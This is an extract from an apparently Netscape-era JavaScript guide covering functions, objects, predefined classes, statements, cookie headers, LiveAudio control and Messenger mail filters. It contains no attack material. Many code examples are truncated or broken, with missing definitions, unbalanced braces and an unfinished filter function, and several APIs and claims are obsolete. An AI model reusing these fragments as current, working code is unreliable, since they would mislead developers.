where functionName is the name of the function and i is the ordinal number
of the argument, starting at zero. So, the first argument passed to a function
named myfunc would be myfunc.arguments[0]. The total number of
arguments is indicated by the variable arguments.length.
Using the arguments array, you can call a function with more arguments than
it is formally declared to accept using. This is often useful if you don’t know in
advance how many arguments will be passed to the function. You can use
arguments.length to determine the number of arguments actually passed to
the function, and then treat each argument using the arguments array.
For example, consider a function defined to create HTML lists. The only formal
argument for the function is a string that is “U” for an unordered (bulleted) list
or “O” for an ordered (numbered) list. The function is defined as follows:
function list(type) {
document.write("<" + type + "L>") // begin list
// iterate through arguments
for (var i = 1; i < list.arguments.length; i++)
document.write("<LI>" + list.arguments[i])
document.write("</" + type + "L>") // end list
}
You can pass any number of arguments to this function, and it will then display
each argument as an item in the indicated type of list. For example, the
following call to the function
list("o", "one", 1967, "three", "etc., etc...")
1. one
2. 1967
3. three
4. etc., etc...
In Navigator 4.0, however, you can also create objects using an object
initializer. You do so when you only need a single instance of an object and
not the ability to create multiple instances.
Note In What’s New in JavaScript 1.2, using object initializers was referred to as
creating objects with literal notation. It was decided that the phrase “literal
notation” could be misleading. “Object initializer” is consistent with the
terminology used by C++.
In this case, JavaScript creates object and assigns it to the variable x if and only
if the expression cond is true.
The following example creates myHonda with three properties. Note that the
engine property is also an object with its own properties.
myHonda = {color:"red",wheels:4,engine:{cylinders:4,size:2.2}}
where arrayName is the name of the new array and each elementI is a value
for on of the array’s elements. When you create an array using an initializer, it is
initialized with the specified values as its elements, and its length is set to the
number of arguments. As with other objects, assigning the array to a variable
name is optional.
You do not have to specify all elements in the new array. If you put 2 commas
in a row, the array is created with spaces for the unspecified elements, as
shown in the second example below.
The following example creates the coffees array with three elements and a
length of three:
coffees = ["French Roast", "Columbian", "Kona"]
The following example creates the fish array, giving values to two elements
and having one empty element:
fish = ["Lion", , "Surgeon"]
To define an object type, create a function for the object type that specifies its
name, properties, and methods. For example, suppose you want to create an
object type for cars. You want this type of object to be called car, and you
want it to have properties for make, model, year, and color. To do this, you
would write the following function:
function car(make, model, year) {
this.make = make
this.model = model
this.year = year
}
Notice the use of this to assign values to the object’s properties based on the
values passed to the function.
This statement creates mycar and assigns it the specified values for its
properties. Then the value of mycar.make is the string “Eagle”, mycar.year is
the integer 1993, and so on.
You can create any number of car objects by calls to new. For example,
kenscar = new car("Nissan", "300ZX", 1992)
vpgscar = new car("Mazda", "Miata", 1990)
An object can have a property that is itself another object. For example,
suppose you define an object called person as follows:
function person(name, age, sex) {
this.name = name
this.age = age
this.sex = sex
}
Then you can rewrite the definition of car to include an owner property that
takes a person object, as follows:
function car(make, model, year, owner) {
this.make = make
this.model = model
this.year = year
this.owner = owner
}
Notice that instead of passing a literal string or integer value when creating the
new objects, the above statements pass the objects rand and ken as the
arguments for the owners. Then if you want to find out the name of the owner
of car2, you can access the following property:
car2.owner.name
Note that you can always add a property to a previously defined object. For
example, the statement
car1.color = "black"
adds a property color to car1, and assigns it a value of “black.” However, this
does not affect any other objects. To add the new property to all objects of the
same type, you have to add the property to the definition of the car object
type.
This applies when you create an object and its properties with a constructor
function, as in the above example of the Car object type, and when you define
individual properties explicitly (for example, myCar.color = "red"). So if you
define object properties initially with an index, such as myCar[5] = "25 mpg",
you can subsequently refer to the property as myCar[5].
The exception to this rule is objects reflected from HTML, such as the forms
array. You can always refer objects in these arrays by either their ordinal
number (based on where they appear in the document) or their name (if
defined). For example, if the second <FORM> tag in a document has a NAME
attribute of “myForm”, you can refer to the form as document.forms[1] or
document.forms["myForm"] or document.myForm.
Defining Methods
A method is a function associated with an object. You define a method the
same way you define a standard function. Then you use the following syntax to
associate the function with an existing object:
object.methodname = function_name
where object is an existing object, methodname is the name you are assigning
to the method, and function_name is the name of the function.
You can then call the method in the context of the object as follows:
object.methodname(params);
You can define methods for an object type by including a method definition in
the object constructor function. For example, you could define a function that
would format and display the properties of the previously-defined car objects;
for example,
function displayCar() {
var result = "A Beautiful " + this.year + " " + this.make
+ " " + this.model
pretty_print(result)
}
You can make this function a method of car by adding the statement
this.displayCar = displayCar;
to the object definition. So, the full definition of car would now look like
function car(make, model, year, owner) {
this.make = make
this.model = model
this.year = year
this.owner = owner
this.displayCar = displayCar
}
Then you can call the displayCar method for each of the objects as follows:
car1.displayCar()
car2.displayCar()
alert("Invalid Value!")
}
Then, you could call validate in each form element’s onChange event
handler, using this to pass it the form element, as in the following example:
<INPUT TYPE="text" NAME="age" SIZE=3
onChange="validate(this, 18, 99)">
When combined with the form property, this can refer to the current object’s
parent form. In the following example, the form myForm contains a Text object
and a button. When the user clicks the button, the value of the Text object is
set to the form’s name. The button’s onClick event handler uses this.form to
refer to the parent form, myForm.
<FORM NAME="myForm">
Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga">
<P>
<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
onClick="this.form.text1.value=this.form.name">
</FORM>
Object Deletion
In JavaScript for Navigator 2.0, you cannot remove objects—they exist until you
leave the page containing the object. In JavaScript for Navigator 3.0, you can
remove an object by setting its object reference to null (if that is the last
reference to the object). JavaScript finalizes the object immediately, as part of
the assignment expression.
Several objects are predefined in core JavaScript and can be used in either
client-side or server-side scripts. These objects are in addition to objects
defined for server-side JavaScript and Navigator objects introduced in
Chapter 3, “Using Navigator Objects.” A handful of predefined functions can
also be used in both client and server scripts.
Objects
The predefined core objects are Array, Boolean, Date, Function, Math,
Number, RegExp, and String.
Array Object
JavaScript does not have an explicit array data type. However, you can use the
predefined Array object and its methods to work with arrays in your
applications. The Array object has methods for manipulating arrays in various
ways, such as joining, reversing, sorting them. It has a property for determining
the array length and other properties for use with regular expressions.
An array is an ordered set of values that you refer to with a name and an
index. For example, you could have an array called emp that contains
employees’ names indexed by their employee number. So emp[1] would be
employee number one, emp[2] employee number two, and so on.
In Navigator 2.0 and Navigator 3.0, arrayLength is the initial length of the
array. In Navigator 4.0, if the <SCRIPT> tag does not specify "JavaScript1.2"
as the value of the LANGUAGE attribute, this is still true. However, if it does
specify "JavaScript1.2", then Array(arrayLength) creates an array of
length one with arrayLength as its only element. That is, it no longer
considers a single integer argument as a special case.
• pop removes the last element from an array and returns that element.
• push adds one or more elements to the end of an array and returns that last
element added.
• shift removes the first element from an array and returns that element
• unshift adds one or more elements to the front of an array and returns the
new length of the array.
Populating an Array
You can populate an array by assigning values to its elements. For example,
emp[1] = "Casey Jones"
emp[2] = "Phil Lesh"
emp[3] = "August West"
The following code creates a two-dimensional array and displays the results.
a = new Array(4)
for (i=0; i < 4; i++) {
a[i] = new Array(4)
for (j=0; j < 4; j++) {
a[i][j] = "["+i+","+j+"]"
}
}
for (i=0; i < 4; i++) {
str = "Row "+i+":"
for (j=0; j < 4; j++) {
str += a[i][j]
}
document.write(str,"<p>")
}
You can then refer to the first element of the array as myArray[0] or
myArray["Wind"].
Boolean Object
Use the predefined Boolean object when you need to convert a non-boolean
value to a boolean value. You can use the Boolean object any place JavaScript
expects a primitive boolean value. JavaScript returns the primitive value of the
Boolean object by automatically invoking the valueOf method.
value is the initial value of the Boolean object. The value is converted to a
boolean value, if necessary. If value is omitted or is 0, null, false, or the
empty string “”, the object has an initial value of false. All other values,
including the string “false” create an object with an initial value of true.
Date Object
JavaScript does not have a date data type. However, you can use the Date
object and its methods to work with dates and times in your applications. The
Date object has a large number of methods for setting, getting, and
manipulating dates. It does not have any properties.
JavaScript handles dates similarly to Java. The two languages have many of the
same date methods, and both languages store dates as the number of
milliseconds since January 1, 1970, 00:00:00.
Note Currently, you cannot work with dates prior to January 1, 1970.
where dateObjectName is the name of the Date object being created; it can be
a new object or a property of an existing object.
• Nothing: creates today’s date and time. For example, today = new Date().
• A set of integer values for year, month, and day. For example, Xmas95 =
new Date(95,11,25). A set of values for year, month, day, hour, minute,
and seconds. For example, Xmas95 = new Date(95,11,25,9,30,0).
• “set” methods, for setting date and time values in Date objects.
• “get” methods, for getting date and time values from Date objects.
With the “get” and “set” methods you can get and set seconds, minutes, hours,
day of the month, day of the week, months, and years separately. There is a
getDay method that returns the day of the week, but no corresponding setDay
method, because the day of the week is set automatically. These methods use
integers to represent these values as follows:
• Hours: 0 to 23
The getTime and setTime methods are useful for comparing dates. The
getTime method returns the number of milliseconds since January 1, 1970,
00:00:00 for a Date object.
For example, the following code displays the number of days left in the current
year:
today = new Date()
endYear = new Date("December 31, 1990") // Set day and month
endYear.setYear(today.getYear()) // Set year to this year
This example creates a Date object named today that contains today’s date. It
then creates a Date object named endYear and sets the year to the current
year. Then, using the number of milliseconds per day, it computes the number
of days between today and endYear, using getTime and rounding to a whole
number of days.
The parse method is useful for assigning values from date strings to existing
Date objects. For example, the following code uses parse and setTime to
assign a date value to the IPOdate object:
IPOdate = new Date()
IPOdate.setTime(Date.parse("Aug 9, 1995"))
The <BODY> tag includes an onLoad event handler. When the page loads, the
event handler calls the function JSClock, defined in the <HEAD>. A form called
clockForm includes a single text field named digits, whose value is initially an
empty string.
The JSClock function first creates a new Date object called time; since no
arguments are given, time is created with the current date and time. Then calls
to the getHours, getMinutes, and getSeconds methods assign the value of
the current hour, minute and seconds to hour, minute, and second.
The next four statements build a string value based on the time. The first
statement creates a variable temp, assigning it a value using a conditional
expression; if hour is greater than 12, (hour - 13), otherwise simply hour.
The next statement appends a minute value to temp. If the value of minute is
less than 10, the conditional expression adds a string with a preceding zero;
otherwise it adds a string with a demarcating colon. Then a statement appends
a seconds value to temp in the same way.
The next statement assigns the value of temp to the text field:
document.aform.digits.value = temp
Note that the function returns a value (assigned to id), used only as an
identifier (which can be used by the clearTimeout method to cancel the
evaluation).
Function Object
The predefined Function object specifies a string of JavaScript code to be
compiled as a function.
arg1, arg2, ... argn are arguments to be used by the function as formal
argument names. Each must be a string that corresponds to a valid JavaScript
identifier; for example “x” or “theForm”.
Function objects are evaluated each time they are used. This is less efficient
than declaring a function and calling it within your code, because declared
functions are compiled.
In addition to defining functions as described here, you can also use the
function statement, as described in the JavaScript Reference.
To call the Function object, you can specify the variable name as if it were a
function. The following code executes the function specified by the
setBGColor variable:
var colorChoice="antiquewhite"
if (colorChoice=="antiquewhite") {setBGColor()}
You can assign the function to an event handler in either of the following ways:
1. document.form1.colorButton.onclick=setBGColor
2. <INPUT NAME="colorButton" TYPE="button"
VALUE="Change background color"
onClick="setBGColor()">
In Navigator 4.0, you can nest a function within a function. (That is, JavaScript
now supports lambda expressions and lexical closures.) The nested function
can use the arguments and variables of the outer function. The outer function
cannot use the arguments and variables of the nested function.
Math Object
The predefined Math object has properties and methods for mathematical
constants and functions. For example, the Math object’s PI property has the
value of pi (3.141...), which you would use in an application as
Math.PI
Method Description
abs Absolute value
sin, cos, tan Standard trigonometric functions; argument in radians
acos, asin, Inverse trigonometric functions; return values in radians
atan
Unlike many other objects, you never create a Math object of your own. You
always use the predefined Math object.
It is often convenient to use the with statement when a section of code uses
several math constants and methods, so you don’t have to type “Math”
repeatedly. For example,
with (Math) {
a = PI * r*r
y = r*sin(theta)
x = r*cos(theta)
}
Number Object
The Number object has properties for numerical constants, such as maximum
value, not-a-number, and infinity. You cannot change the values of these
properties and you use them as follows:
biggestNum = Number.MAX_VALUE
smallestNum = Number.MIN_VALUE
infiniteNum = Number.POSITIVE_INFINITY
negInfiniteNum = Number.NEGATIVE_INFINITY
notANum = Number.NaN
Method Description
MAX_VALUE The largest representable number
MIN_VALUE The smallest representable number
NaN Special “not a number” value
NEGATIVE_INFINITY Special infinite value; returned on overflow
POSITIVE_INFINITY Special negative infinite value; returned on overflow
RegExp Object
The RegExp object lets you work with regular expressions. It is described in
“Regular Expressions” on page 152.
String Object
JavaScript does not have a string data type. However, you can use the String
object and its methods to work with strings in your applications. The String
object has a large number of methods for manipulating strings. It has one
property for determining the string’s length.
For example, the following statement creates a String object called mystring:
mystring = new String ("Hello, World!")
String literals are also String objects; for example, the literal “Howdy” is a
String object.
A String object has one property, length, that indicates the number of
characters in the string. So, using the previous example, the expression
x = mystring.length
A String object has two types of methods: those that return a variation on the
string itself, such as substring and toUpperCase, and those that return an
HTML-formatted version of the string, such as bold and link.
The substring method takes two arguments and returns a subset of the string
between the two arguments. Using the previous example,
mystring.substring(4, 9) returns the string “o, Wo.” For more information,
see String.substring in the JavaScript Reference.
The String object also has a number of methods for automatic HTML
formatting, such as bold to create boldface text and link to create a hyperlink.
For example, you could create a hyperlink to a hypothetical URL with the link
method as follows:
mystring.link(“http://www.helloworld.com”)
Method Description
anchor Creates HTML named anchor
big, blink, bold, Creates HTML formatted string
fixed, italics, small,
strike, sub, sup
Functions
JavaScript has several “top-level” functions predefined in the language eval,
isNan, Number, String, parseInt, parseFloat, escape, unescape, taint,
and untaint. For more information on all of these functions, see the JavaScript
Reference.
eval Function
The eval function evaluates a string of JavaScript code without reference to a
particular object. The syntax of eval is:
eval(expr)
isNaN Function
The isNaN function evaluates an argument to determine if it is “NaN” (not a
number). The syntax of isNaN is:
isNaN(testValue)
if (isNaN(floatValue)) {
notFloat()
} else {
isFloat()
}
where parseFloat parses its argument, the string str, and attempts to return a
floating-point number. If it encounters a character other than a sign (+ or -), a
numeral (0-9), a decimal point, or an exponent, then it returns the value up to
that point and ignores that character and all succeeding characters. If the first
character cannot be converted to a number, it returns “NaN” (not a number).
parseInt parses its first argument, the string str, and attempts to return an
integer of the specified radix (base), indicated by the second, optional
argument, radix. For example, a radix of ten indicates to convert to a decimal
number, eight octal, sixteen hexadecimal, and so on. For radixes above ten, the
letters of the alphabet indicate numerals greater than nine. For example, for
hexadecimal numbers (base 16), A through F are used.
<SCRIPT>
D = new Date (430054663215);
document.write (String(D) +" <BR>");
</SCRIPT>
These functions are used primarily with server-side JavaScript to encode and
decode name/value pairs in URLs.
JavaScript supports a compact set of statements that you can use to incorporate
a great deal of interactivity in Web pages. This chapter provides an overview of
these statements.
The following sections provide a brief overview of each statement. See the
JavaScript Reference for details.
Conditional Statement
A conditional statement is a set of commands that executes if a specified
condition is true. JavaScript supports two conditional statements: if...else
and switch.
if...else Statement
Use the if statement to perform certain statements if a logical condition is true;
use the optional else clause to perform other statements if the condition is
false. An if statement looks as follows:
if (condition) {
statements1
}
[else {
statements2
} ]
The condition can be any JavaScript expression that evaluates to true or false.
The statements to be executed can be any JavaScript statements, including
further nested if statements. If you want to use more than one statement after
an if or else statement, you must enclose the statements in curly braces, {}.
Example. In the following example, the function checkData returns true if the
number of characters in a Text object is three; otherwise, it displays an alert
and returns false.
function checkData () {
if (document.form1.threeChar.value.length == 3) {
return true
} else {
alert("Enter exactly three characters. " +
document.form1.threeChar.value + " is not valid.")
return false
}
}
switch Statement
A switch statement allows a program to evaluate an expression and attempt to
match the expression's value to a case label. If a match is found, the program
executes the associated statement. A switch statement looks as follows:
switch (expression){
case label :
statement;
break;
case label :
statement;
break;
...
default : statement;
}
The program first looks for a label matching the value of expression and then
executes the associated statement. If no matching label is found, the program
looks for the optional default statement, and if found, executes the associated
statement. If no default statement is found, the program continues execution at
the statement following the end of switch.
The optional break statement associated with each case label ensures that the
program breaks out of switch once the matched statement is executed and
continues execution at the statement following switch. If break is omitted, the
program continues execution at the next statement in the switch statement.
default :
document.write("Sorry, we are out of " + i + ".<BR>");
}
Loop Statements
A loop is a set of commands that executes repeatedly until a specified condition
is met. JavaScript supports two loop statements: for and while. In addition,
you can use the break and continue statements within loop statements.
for Statement
A for loop repeats until a specified condition evaluates to false. The JavaScript
for loop is similar to the Java and C for loop. A for statement looks as
follows:
for ([initial-expression]; [condition]; [increment-expression]) {
statements
}
Example. The following function contains a for statement that counts the
number of selected options in a scrolling list (a Select object that allows
multiple selections). The for statement declares the variable i and initializes it
to zero. It checks that i is less than the number of options in the Select object,
performs the succeeding if statement, and increments i by one after each pass
through the loop.
<SCRIPT>
function howMany(selectObject) {
var numberSelected=0
for (var i=0; i < selectObject.options.length; i++) {
if (selectObject.options[i].selected==true)
numberSelected++
}
return numberSelected
}
</SCRIPT>
<FORM NAME="selectForm">
<P><B>Choose some music types, then click the button below:</B>
<BR><SELECT NAME="musicTypes" MULTIPLE>
<OPTION SELECTED> R&B
<OPTION> Jazz
<OPTION> Blues
<OPTION> New Age
<OPTION> Classical
<OPTION> Opera
</SELECT>
<P><INPUT TYPE="button" VALUE="How many are selected?"
onClick="alert ('Number of options selected: ' +
howMany(document.selectForm.musicTypes))">
</FORM>
do...while Statement
The do...while statement repeats until a specified condition evaluates to
false. A do...while statement looks as follows:
do {
statement
} while (condition)
Example. In the following example, the do loop iterates at least once and
reiterates until i is no longer less than 5.
do {
i+=1;
document.write(i);
} while (i<5);
while Statement
A while statement executes its statements as long as a specified condition
evaluates to true. A while statement looks as follows:
while (condition) {
statements
}
If the condition becomes false, the statements within the loop stop executing
and control passes to the statement following the loop.
The condition test occurs before the statements in the loop are executed. If the
condition returns true, the statements are executed and the condition is tested
again. If the condition returns false, execution stops and control is passed to the
statement following while.
Example 1. The following while loop iterates as long as n is less than three:
n = 0
x = 0
while( n < 3 ) {
n ++
x += n
}
With each iteration, the loop increments n and adds that value to x. Therefore,
x and n take on the following values:
• After the first pass: n = 1 and x = 1
• After the second pass: n = 2 and x = 3
• After the third pass: n = 3 and x = 6
After completing the third pass, the condition n < 3 is no longer true, so the
loop terminates.
labeled Statement
A labeled statement provides an identifier that can be used with break or
continue to indicate where the program should continue execution. A labeled
statement looks as follows:
label :
statement
break Statement
The break statement can be used in a while, for, and labeled statement.
Example 1. The following function has a break statement that terminates the
while loop when i is three, and then returns the value 3 * x.
function testBreak(x) {
var i = 0
while (i < 6) {
if (i == 3)
break
i++
}
return i*x
}
continue Statement
The continue statement can be used in a while, for, and labeled statement.
new Operator
You can use the new operator to create an instance of a user-defined object
type or of one of the predefined object types Array, Boolean, Date,
Function, Image, Number, Object, Option, RegExp, or String. Use new as
follows:
objectName = new objectType ( param1 [,param2] ...[,paramN] )
The following example creates an Array object with 25 elements, then assigns
values to the first three elements:
musicTypes = new Array(25)
musicTypes[0] = "R&B"
musicTypes[1] = "Blues"
musicTypes[2] = "Jazz"
The following example creates a user-define object type car, with properties
for make, model, and year. The example then creates an object called mycar
and assigns values to its properties. The value of mycar.make is the string
“Eagle”, mycar.year is the integer 1993, and so on.
function car(make, model, year) {
this.make = make
this.model = model
this.year = year
}
In Navigator 4.0, you can also create new objects using object initializers, as
described in “Using Object Initializers” on page 172.
this Keyword
Use the this keyword to refer to the current object. In general, this refers to
the calling object in a method. Use this as follows:
this[.propertyName]
You could call validate in each form element’s onChange event handler,
using this to pass it the form element, as in the following example:
<B>Enter a number between 18 and 99:</B>
<INPUT TYPE = "text" NAME = "age" SIZE = 3
onChange="validate(this, 18, 99)">
Example 2. When combined with the form property, this can refer to the
current object’s parent form. In the following example, the form myForm
contains a Text object and a button. When the user clicks the button, the value
of the Text object is set to the form’s name. The button’s onClick event
handler uses this.form to refer to the parent form, myForm.
<FORM NAME="myForm">
Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga">
<P>
<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
onClick="this.form.text1.value=this.form.name">
</FORM>
for...in Statement
The for...in statement iterates a specified variable over all the properties of
an object. For each distinct property, JavaScript executes the specified
statements. A for...in statement looks as follows:
for (variable in object) {
statements }
Example. The following function takes as its argument an object and the
object’s name. It then iterates over all the object’s properties and returns a string
that lists the property names and their values.
function dump_props(obj, obj_name) {
var result = ""
for (var i in obj) {
result += obj_name + "." + i + " = " + obj[i] + "<BR>"
}
result += "<HR>"
return result
}
For an object car with properties make and model, result would be:
car.make = Ford
car.model = Mustang
with Statement
The with statement establishes the default object for a set of statements. Within
the set of statements, any property references that do not specify an object are
assumed to be for the default object. A with statement looks as follows:
with (object){
statements
}
Example. The following with statement specifies that the Math object is the
default object. The statements following the with statement refer to the PI
property and the cos and sin methods, without specifying an object. JavaScript
assumes the Math object for these references.
var a, x, y
var r=10
with (Math) {
a = PI * r * r
x = r * cos(PI)
y = r * sin(PI/2)
}
Comments
Comments are author notations that explain what a script does. Comments are
ignored by the interpreter. JavaScript supports Java-style comments:
• Comments that span multiple lines are preceded by /* and followed by */:
Reserved Words
A
Color Values
B
The string literals in this appendix can be used to specify colors in the
JavaScript alinkColor, bgColor, fgColor, linkColor, and vLinkColor
properties and the fontcolor method.
You can also use these string literals to set the colors in HTML tags, for
example
<BODY BGCOLOR="bisque">
or
<FONT COLOR="blue">color me blue</FONT>
Instead of using the string to specify a color, you can use the indicated red,
green, and blue hexadecimal values.
Netscape Cookies
C
This appendix describes the format of cookie information in the HTTP header,
and discusses using CGI programs and JavaScript to manipulate cookies.
Syntax
A CGI program uses the following syntax to add cookie information to the
HTTP header:
Set-Cookie:
name=value
Parameters
name=value is a sequence of characters excluding semicolon, comma and
white space. To place restricted characters in the name or value, use an
encoding method such as URL-style %XX encoding.
EXPIRES=dateValue specifies a date string that defines the valid life time of
that cookie. Once the expiration date has been reached, the cookie will no
longer be stored or given out. If you do not specify dateValue, the cookie
expires when the user’s session ends.
where Wdy is the day of the week (for example, Mon or Tues); DD is a two-digit
representation of the day of the month; Mon is a three-letter abbreviation for the
month (for example, Jan or Feb); YY is the last two digits of the year; HH:MM:SS
are hours, minutes, and seconds, respectively.
Many different application types can take advantage of cookies. For example, a
shopping application can store information about the currently selected items
for use in the current session or a future session, and other applications can
store individual user preferences on the client machine.
If the domain attribute matches the end of the fully qualified domain name of
the host, then path matching is performed to determine if the cookie should be
sent. For example, a domain attribute of royalairways.com matches
hostnames anvil.royalairways.com and ship.crate.royalairways.com.
Only hosts within the specified domain can set a cookie for a domain. In
addition, domain names must use at least two or three periods. Any domain in
the COM, EDU, NET, ORG, GOV, MIL, and INT categories requires only two periods;
all other domains require at least three periods.
PATH=pathName specifies the URLs in a domain for which the cookie is valid. If
a cookie has already passed domain matching, then the pathname component
of the URL is compared with the path attribute, and if there is a match, the
cookie is considered valid and is sent along with the URL request. For example,
PATH=/foo matches /foobar and /foo/bar.html. The path "/" is the most
general path.
The EXPIRES value indicates when to purge the mapping. Navigator will also
delete a cookie before its expiration date arrives if the number of cookies
exceeds its internal limits.
A cookie with a higher-level PATH value does not override a more specific PATH
value. If there are multiple matches with separate paths, all the matching
cookies are sent, as shown in the examples below.
A CGI script can delete a cookie by returning a cookie with the same PATH and
NAME values, and an EXPIRES value which is in the past. Because the PATH and
NAME must match exactly, it is difficult for scripts other than the originator of a
cookie to delete a cookie.
• 4 kilobytes per cookie, where the name and the OPAQUE_STRING combine
to form the 4 kilobyte limit.
When the 300 cookie limit or the 20 cookie per server limit is exceeded,
Navigator deletes the least recently used cookie. When a cookie larger than 4
kilobytes is encountered the cookie should be trimmed to fit, but the name
should remain intact as long as it is less than 4 kilobytes.
Example 1
Client requests a document, and receives in the response:
Set-Cookie: CUSTOMER=WILE_E_COYOTE; path=/; expires=Wednesday,
09-Nov-99 23:12:40 GMT
Client receives:
Set-Cookie: SHIPPING=FEDEX; path=/foo
Example 2
This example assumes all mappings from Example 1 have been cleared.
Client receives:
Set-Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001; path=/
Client receives:
• Defer the load of a sound file until the user clicks the “play” button
Essentially, any event that can be described programmatically using the already
rich JavaScript framework can trigger a sound event.
The following JavaScript state indication methods do not control the LiveAudio
plug-in, but they give you information about the current state of the plug-in:
• IsReady
• IsPlaying
• IsPaused
• GetVolume
<EMBED SRC="sound1.wav"
HIDDEN=TRUE>
<A HREF="javascript:document.embeds[0].play(false)">
Play the sound now!</A>
</BODY>
</HTML>
The preceding method of playing a sound file is probably the simplest, but can
pose many problems. If you are using the document.embeds array, Navigator
2.0 will generate an error, because the embeds array is a Navigator 3.0 feature.
Rather than use the embeds array, you can identify the particular <EMBED> tag
you would like to use in JavaScript by using the NAME and MASTERSOUND
attributes in your original <EMBED> tag, as follows:
<HTML>
<BODY>
<EMBED SRC="sound1.wav"
HIDDEN=TRUE
NAME="firstsound"
MASTERSOUND>
<A HREF="javascript:document.firstsound.play(false)">
Play the sound now!</A>
</BODY>
</HTML>
This is a much more descriptive way to describe your plug-in in JavaScript, and
can go a long way towards eliminating confusion. If, for example you had
several sounds embedded in an HTML document, it may be easier for
developers to use the NAME attribute rather than the embeds array. In the
preceding example, notice that the MASTERSOUND attribute in the <EMBED> tag is
used. This is because any time a NAME attribute is used referencing LiveAudio,
an accommodating MASTERSOUND tag must be present as well.
function playDeferredSound() {
document.firstsound.play(false,
'http://url_to_new_sound_file/sound1.wav');
}
// -->
</SCRIPT>
</HEAD>
<BODY>
<EMBED
SRC="stub1.wav"
HIDDEN=TRUE
NAME="firstsound"
MASTERSOUND>
</BODY>
</HTML>
The stub file, stub1.wav, is loaded relatively quickly. (For a description of how
to create a stub file, see the EmeraldNet LiveAudio information at http://
emerald.net/liveaudio/.) The play method then loads the sound file only
when it is called. Using this example, the sound file is loaded only when the
user wants to hear it.
Web designers might want to create entire new interfaces with LiveConnected
LiveAudio. To create an alternate console for sound playing and interaction, a
designer might do the following:
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide JavaScript from older browsers
function playSound() {
document.firstSound.play(false);
}
function pauseSound() {
document.firstSound.pause();
}
function stopSound() {
document.firstSound.stop();
}
function volup() {
currentVolume = document.firstSound.GetVolume();
newVolume = (currentVolume + 10);
if (document.firstSound.GetVolume() == 100) {
alert("Volume is already at maximum");
}
}
}
function voldown() {
currentVolume = document.firstSound.GetVolume();
newVolume = (currentVolume - 10);
if (document.firstSound.GetVolume() == 0) {
alert("Volume is already at minimum");
}
// -->
</SCRIPT>
</HEAD>
<BODY>
<EMBED
SRC="sound1.wav"
HIDDEN=TRUE
AUTOSTART=FALSE
NAME="firstSound"
MASTERSOUND>
</BODY>
</HTML>
The preceding example illustrates how you might create your own method of
controlling a sound file. The possibilities are really endless; you can use images
and onClick event handlers to simulate your own sound player.
This appendix tells you how you can use JavaScript to filter your incoming mail
and news when you use Netscape Messenger.
1. Write a JavaScript function to serve as a filter and put it in your filters file.
This function takes one argument, a message object, and can make changes
to that message.
2. Add an entry for the JavaScript function to your mail rules file. Your rules
file can have multiple filters. Messenger applies each filter in turn to a
message until one of the filters acts on it.
The following is an example of a simple mail filter file. It files all messages from
my_mom into the “FromMom” folder, and marks them as high priority. It also
sends all messages from my_sister to the trash folder.
// filters.js file.
function MomFilter(message) {
if (message.from.indexOf("my_mom@mothers.net") != -1) {
message.priority = "High";
message.folder = "mailbox:FromMom";
}
else if (message.subject.indexOf("my_sister@sisters.net") != -1) {
message.trash();
}
}
Note There is no way to specify an IMAP folder using the mailbox: syntax. So, if
you refile things using IMAP, they all end up on your local machine.
Once you’ve written the JavaScript filter function, you add a reference to the
filter in your mail rules file. The location of your rules file is also platform
dependent, as shown in the following table:
This file is normally only written by the filter system in Netscape Messenger. If
you’ve got a rules file already, add the following lines to it:
name="filterName"
enabled="yes"
type="2"
scriptName="scriptName"
Where:
name="filterName" Gives a descriptive name to the filer.
enabled="yes" Says to use this filter. To turn off the filter, change this
line to enabled="no".
type="2" Marks this filter as being JavaScript.
scriptName="scriptName" Is the JavaScript function to execute.
You can add multiple groups of the above lines to your rules file to add
multiple filters. They are executed in the order listed in the file until one of
them performs an action on the message (sets a property or calls a method).
If you don’t already have a mail rule file, you’ll need to add the following two
lines at the top (before any filter references):
version="6"
logging="no"
News filters
The above discussion about adding filters to your mail rule file applies to news
filters as well. The only difference between news filters and mail filters is the
type line. With mail filters, you use type="2". For news filters, you use
type="8".
Mail Messages
A Mail Message object has the following methods:
Method Description
killThread() Mark a thread as ignored.
watchThread() Mark a thread as watched.
trash() Mark the message read and move it to the trash folder.
Property Description
folder Reflects the folder containing the message.
read Reflects whether or not the message has been read.
priority Reflects the priority of the message.
To refile a mail message, you set the folder property of the message object.
You can use either a full path or the mailbox: URL syntax to specify the
destination.
The priority property can be set using either an integer or a string. The possible
values are:
• None
• Lowest
• Low
• Normal
• High
• Highest
Message Headers
In addition to the properties listed above, Mail Message objects offer all of the
message headers as read-only properties. So, the subject of the message can be
retrieved as message.subject and the CC list as message.cc. Headers with
hyphens in their names (such as Resent-from) cannot be retrieved with the
dot syntax. Instead, retrieve them using the array syntax for a property value
(such as message["Resent-from"]).
News Messages
A News Message object has the following methods:
Method Description
killThread() Mark a thread as ignored.
watchThread() Mark a thread as watched.
Property Description
group (Read-only) Reflects the news group containing the message.
read Reflects whether or not the message has been read.
sender (Read-only) Reflects the sender of the message.
subject (Read-only) Reflects the subject of the message.
Once it has the array of filters, the code creates regular expressions from those
filters to use in matching individual messages. When Messenger calls
ApplyFilters for a message, it searches for a match in the MyFilters array. If
it finds one, the function either puts the message in the trash, moves it to a new
folder, or changes its priority.
var MyFilters = [
{field:"From", probe:"cltbld@netscape.com", folder:"mailbox:Client Build"},
{field:"From", probe:"scopus@netscape.com", folder:"mailbox:Scopus"},
{field:"Resent-From", probe:"bonsai-hook@warp.mcom.com", trash:true"},
{field:"Resent-From", probe:"xheads@netscape.com", folder:"mailbox:X Heads"},
{field:"Resent-From", probe:"layers@netscape.com", priority:"High"}
];
function ApplyFilters(message)
{
trace("Applying mail filters");
A B
A HTML tag 74 bitwise operators
accumulator logical 146
See tainting overview 145
alert method 47, 59 shift 146
Anchor object blur method 59
See also anchors Boolean literals 138
anchors property Boolean object
See anchors array overview 182
applets break statement 203
controlling with LiveConnect 81 browser
example of 82, 83 hiding scripts from 30
flashing text example 83
Button object
Hello World example 82, 88
See also buttons
referencing 81
buttons
Area object
submit 42
See Link object
Index 239
C D
case sensitivity 28, 136, 167 data tainting
CGI programs See tainting
and image maps 93 data types
submitting forms to 41 converting 136
validating form input for 39 and Date object 135
Checkbox object Java to JavaScript conversion 90
